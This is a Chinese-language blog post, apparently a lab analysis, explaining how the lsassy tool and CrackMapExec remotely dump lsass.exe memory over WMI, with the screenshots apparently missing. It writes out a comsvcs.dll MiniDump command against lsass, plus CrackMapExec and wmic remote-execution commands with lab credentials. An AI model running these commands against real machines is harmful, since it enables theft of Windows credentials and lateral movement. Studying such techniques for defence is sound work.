本文主要是介绍lsassy的使用和一些原理理解。
远程dump lsass.exe内存并解析
使用lsassy可以对远程机器进行自动化的lsass.exe内存dump和解析,利用过程如下:
该工具还提供了一个CrackMapExec的模块:
那我们解析来分析下原理。
原理分析
首先我们来看下lsassy是如何在对方机器上执行命令的,我们看下其目录:
跟入wmic.py :
根据注释发现是调用了impacket的wmiexec.py
我们跟入wmiexec.py:
根据代码提示判断应该是调用wmi在远程机器上执行了命令。
第二,我们需要看下如何dump进程的,分析代码,发现是利用两种方法:
1、
powershell.exe -NoP -C "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\VWhEJqfO.dmp full;Wait-Process -Id (Get-Process rundll32).id"
2、procdump.exe
第三,我们看下他的CrackMapExec的模块,发现实际上还是直接调用了他自己:
最后,我们看下CrackMapExec的结果回显,命令如下:
cme --verbose smb 172.16.127.184 -d jumbolab.com -u win7user -p aA1234567890000 -x whoami
工具运行会出现如下提示:
发现CrackMapExec也是通过wmi远程执行了命令。那我们就顺手说说利用wmi远程执行命令的几种手段:
1、
wmic /user:"jumbolab.com\win7user" /password:"aA1234567890000" /node:172.16.127.184 process call create "notepad"
2、
3、
然后还有回显提示:
根据提示,发现CrackMapExec是在本地监听445接收管道传过来的值:
利用wireshark抓包也可以看到:
小结
以上只是个人的一些臆想,如有错误,跪求指正!